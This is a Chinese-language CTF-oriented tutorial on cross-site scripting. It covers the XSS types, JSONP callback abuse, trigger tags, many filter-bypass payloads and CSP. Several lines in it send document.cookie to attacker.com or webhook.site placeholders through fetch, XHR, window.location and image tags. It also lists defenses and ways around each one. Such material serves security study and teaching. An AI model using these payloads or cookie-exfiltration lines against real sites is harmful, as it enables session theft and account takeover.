XSS漏洞
XSS是基于前端的一种攻击,其实就是非Web应用自身的JS代码被黑客恶意插入,通过执行恶意的JS代码,可以导致窃取敏感信息、篡改网页内容或劫持用户会话,大部分情况是窃取Cookie,在你登录账号后的情况下,部分Web应用通过Cookie可以导致黑客能直接登录你的账号
XSS的分类
存储型XSS
- 恶意脚本存储在后端中(数据库、日志文件、评论等)
- 持久性攻击,影响所有访问相关页面的用户
- 危害最大,传播范围广
- 不需要用户主动触发
在CTF中,利用GET、POST或者抓包在Referer,Cookie的地方植入我们的恶意脚本
反射型XSS
- 恶意脚本存在于URL参数中
- 通过HTTP请求立即执行,不存储在服务器
- 需要诱骗用户点击恶意链接
- 影响范围相对较小
在CTF中,题目会给一个输入框,然后绕过过滤,执行恶意脚本
DOM型XSS
- 完全在客户端执行
- 不涉及服务器端代码
- 通过JavaScript修改DOM结构触发
- HTTP响应中不包含恶意脚本
JSONP型XSS
在浏览器的同源策略下,前端 JavaScript不能直接跨域请求 AJAX
(一种无需刷新页面就能向服务器发送和接收数据的技术),但可以利用 <script>
标签(允许跨域加载特性)进行跨域请求(允许从一个域名中获取到另一个域名的数据),从而绕过浏览器同源策略限制
后端返回的是带回调函数的 JSON 数据,前端利用回调函数callback
解析数据
攻击者可以==伪造回调函数,利用 JSONP 执行任意 JavaScript 代码==
举个栗子:
假设有个接口:
1 https://example.com/api?callback=handleData服务器返回:
1 handleData({"name": "Alice", "age": 20});攻击者构造如下 URL:
1 https://example.com/api?callback=alert(1)//服务器返回:
1 alert(1)({"name":"Alice"});浏览器执行:
1 alert(1)({"name":"Alice"});当然也可以窃取受害者的 Cookie:
1
2
3
4
5
6 <script src="https://example.com/api?callback=evilFunction"></script>
<script>
function evilFunction(data) {
document.write("<img src='http://attacker.com/steal?cookie=" + document.cookie + "'>");
}
</script>
XSS常见触发标签
下面这些标签常与onerror
、onfocus
、onclick
、onmouseover
、onmouseout
等事件及javascript
伪协议配合使用
<script>
1 | <script>alert("1")</script> |
<img>
自闭合标签
1 | <img src=1 onerror=alert(1)> |
<a>
1 | <a href=javascript:alert(1)></a> |
<iframe>
1 | <iframe src="javascript:alert(1)"></iframe> |
<svg>
1 | <svg onfocus=alert(1)> |
<details>
1 | //ontoggle 事件在用户打开或关闭 <details> 元素时触发 |
XSS的绕过
关键词绕过
大小写绕过
1 | <sCriPt>alert(1)<sCriPt> |
拼接绕过
1 | <img src=1 onerror="eval['al'+'ert'](1)"> |
函数替换绕过
eval()
1 | <img src=1 onerror="eval(alert(1))"> |
open()
1 | <img src=1 onerror="open(alert(1))"> |
document.write()
1 | <img src=1 onerror="document.write(alert(1))"> |
setTimeout()
和 setInterval()
JavaScript 中用于延时执行代码的函数
1 | <img src=1 onerror="setTimeout(alert(1))"> |
利用构造器
通过构造器动态生成并执行 JavaScript 代码
Set.constructor
,Map.constructor
,Array.constructor
,WeakSet.constructor
,constructor.constructor
等
1 | <img src=1 onerror="Set.constructor(alert(1))"> |
利用数组方法
[1].map
,[1].find
,[1].every
,[1].filter
,[1].forEach
,[1].findIndex
等
1 | <img src=1 onerror="[1].map(alert(1))"> |
嵌套绕过
1 | <sc<script>ript>alert('XSS')</sc</script>ript> |
赋值绕过
1 | <img src onerror=_=alert,_(1)> |
最后一个payload解释:
['ale'+'rt']
是一个包含字符串 'alert'
的数组
map(top['ev'+'al'])
使用 map()
方法对该数组进行操作,最终将 alert
函数赋值给数组的第一个元素
[0]
取出数组的第一个元素,即 alert
函数
valueOf()
获取该函数的原始值(即 alert
函数本身)
最后,调用 alert(1)
执行 JavaScript 代码
编码绕过
URL 编码
<
被编码为%3C
,>
被编码为%3E
,&
被编码为%26
,/
被编码为%2F
1 | <img src=1 onerror=alert('%3Cscript%3Ealert(1)%3C%2Fscript%3E')> |
HTML 实体编码
是将某些特殊字符转换成以 &
开头、;
结尾的实体格式
字符 | 转换为 |
---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' (当 ENT_QUOTES 被设置时) |
|
|
/ |
/ |
= |
= |
1 | <img src=1 onerror=alert('<script>alert(1)</script>')> |
Base64 编码
1 | <img src=1 onerror="eval(atob('YWxlcnQoMSk='))"> |
alert(1)
编码为atob('YWxlcnQoMSk=')
双重编码
例如,先对 <
编码为 %3C
,再将%3C
编码为 %253C
1 | <img src=1 onerror=alert('%253Cscript%253Ealert(1)%253C%252Fscript%253E')> |
Unicode 编码
Unicode 编码使用十六进制值表示字符,它可以用于替代常见的 ASCII 字符
1 | <img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))> |
97,108,101,114,116,40,49,41
是 alert(1)
每个字符的 Unicode 编码值
十六进制编码
1 | <img src=1 onerror=eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29))> |
空格绕过
在html的标签中的不同位置的空格绕过方式不是一样的
1 | <html><imgAAsrcAAonerrorBB=BBalertCC(1)DD</html> |
A位置: /
,/123/
,%09
,%0A
,%0C,%0D
,%20
B位置:%09
,%0A
,%0C
,%0D
,%20
C位置:%0B
,/**/
(如果加了双引号,则可以填充 %09
,%0A
,%0C
,%0D
,%20
)
D位置:%09
,%0A
,%0C
,%0D
,%20
,//
,>
()绕过
使用反引号
1 | <script>alert`1`</script> |
throw绕过
1 | <script>alert;throw 1</script> |
1 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
onload
:当 SVG 元素及其资源加载完成后触发。事件触发时会执行后面的 JavaScript 代码
window.onerror = eval;
:window.onerror
是一个全局的错误处理函数,当 JavaScript 执行时发生错误,它会被调用。通过将其设置为 eval
,攻击者可以劫持错误处理并执行恶意的 JavaScript 代码
throw '=alert\x281\x29';
:这行代码通过 throw
抛出一个异常alert(1)
单引号过滤
使用反引号
用斜杠替换
1 | <script>alert(/hack/)</script> |
alert过滤绕过
函数替换绕过
prompt()
,confirm()
,console.log()
,document.write()
编码绕过
对象方法绕过
利用对象的属性或方法来替代直接调用 alert
1 | <img src=1 onerror="window.constructor.constructor('alert(1)')()"> |
数组方法绕过
异步调用绕过
1 | <img src=1 onerror="setTimeout('alert(1)', 0)"> |
字符替换绕过
分割关键字绕过
通过在关键字中插入空格或注释符号( /**/
)来分隔函数名
a/**/l/**/ert(1)
长度限制绕过
用拆分法
1 | <script>a='document.write("'</script> |
用嵌套结构
1 | <img src=1 onerror="document.write('<img src=1 onerror=alert(1)>')"> |
分号绕过
当只过滤了分号时,可以利用花括号进行语句隔离
1 | <script>{onerror=alert}throw 1</script> |
当浏览器遇到 throw 1
时,它会抛出一个错误
抛出错误时,onerror
事件会被触发,因为我们之前将 onerror
设置为了 alert
函数
结果是,浏览器会弹出一个对话框,显示 1
,这就是 alert(1)
的效果
绕过CSP
内容安全策略 (Content Security Policy, CSP) 是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等。其是一种白名单策略,当有非白名单允许的js脚本出现在页面中,浏览器会阻止脚本的执行
cookie外带
XSS靶场中通常以前端检测网页是否弹窗来判断有没有被XSS,但比赛/实战中,通常以XSS真实场景,需要外带出Cookie
带出cookie(通常对+进行编码%2B)
fetch()方法
fetch()
允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include'
,则可以携带当前站点的 Cookie
1 | fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie) |
window.open方法
window.open()
是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象
例如,以下代码将会在新窗口或新标签页中打开指定 URL:
1 | window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie); |
XHR方法
XMLHttpRequest
是浏览器提供的内建 JavaScript 对象,用于在不刷新页面的情况下与服务器进行 HTTP 通信。它是早期 AJAX 技术的核心
1 | <script>var xhr = new XMLHttpRequest(); |
XMLHttpRequest
对象
1 | <script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script> |
window.location
对象
window.location
可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如
1 | <script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script> |
下面是window.location
对象中可用于跳转的方法
window.location.href
1 | window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie; |
window.location.assign(url)
、window.location.replace(url)
同上
document.write
方法
利用 document.write
写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
1 | document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`) |
1 | document.write('<img src="//webhook.site/xxxxxxxx/?cookie='+document.cookie+'"/>') |
XSS的防范
HttpOnly Cookie
设置 Cookie 为 HttpOnly,这样,JavaScript 无法 通过 document.cookie
访问该 Cookie,只能通过HTTP请求发送给服务器
绕过
绕过方式 | 说明 |
---|---|
CSRF (跨站请求伪造) | HttpOnly 不能防止跨站请求伪造攻击(CSRF),攻击者仍可在受害者的浏览器中发起请求,利用受害者的 Cookie 进行操作 |
XS-Leaks(跨站信息泄露) | 通过 img 、iframe 、fetch() 发送请求,并观察返回数据是否有差异,可能间接推测出 Cookie 值 |
服务器端获取 Cookie | 通过 XSS 劫持会话,让受害者访问恶意页面,然后读取本地存储的 Token 或 触发服务器端请求 来利用 Cookie |
输入验证和转义
输入验证:限制输入字符,只允许安全字符(如 a-zA-Z0-9
)
HTML转义:实体编码
防止恶意脚本被注入到网页中
绕过
绕过方式 | 说明 |
---|---|
双重编码绕过 | 有些 WAF 只转义了一次,可以尝试 <script>alert(1)</script> 让服务器误解 |
事件属性绕过 | 如果 <script> 被拦截,可以尝试 <img src=x onerror=alert(1)> |
DOM XSS | 如果后端转义了,但前端用 innerHTML 渲染数据,仍然可以执行 XSS 代码 |
JSON 解析漏洞 | JSON 可能会反序列化恶意代码,例如 {"data": "<script>alert(1)</script>"} |
使用 CSP(内容安全策略)
限制页面中允许执行的脚本来源,防止外部 XSS 代码注入
绕过
绕过方式 | 说明 |
---|---|
JSONP 绕过 | 某些 API 允许 JSONP 请求,仍可执行外部代码 |
内联事件监听 | onclick="alert(1)" 可能仍然有效 |
数据 URI 绕过 | 某些 data: 方案仍然可以执行代码 |
动态 JavaScript 执行 | eval() , setTimeout() , Function() 可能仍然可以执行恶意代码 |
Cookie SameSite 属性
限制 Cookie 的跨站点发送行为
绕过
绕过方式 | 说明 |
---|---|
CORS 配合 XSS 绕过 | 如果 Access-Control-Allow-Origin: * ,可以用 fetch() 请求获取敏感数据 |
站内跳转绕过 | SameSite=Lax 允许 GET 请求,所以可以诱导用户点击链接 |
参考文章: